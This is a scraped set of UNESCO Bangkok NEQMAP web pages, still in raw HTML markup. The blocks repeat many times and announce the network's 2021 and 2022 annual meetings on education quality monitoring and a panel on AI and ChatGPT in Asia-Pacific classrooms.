how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

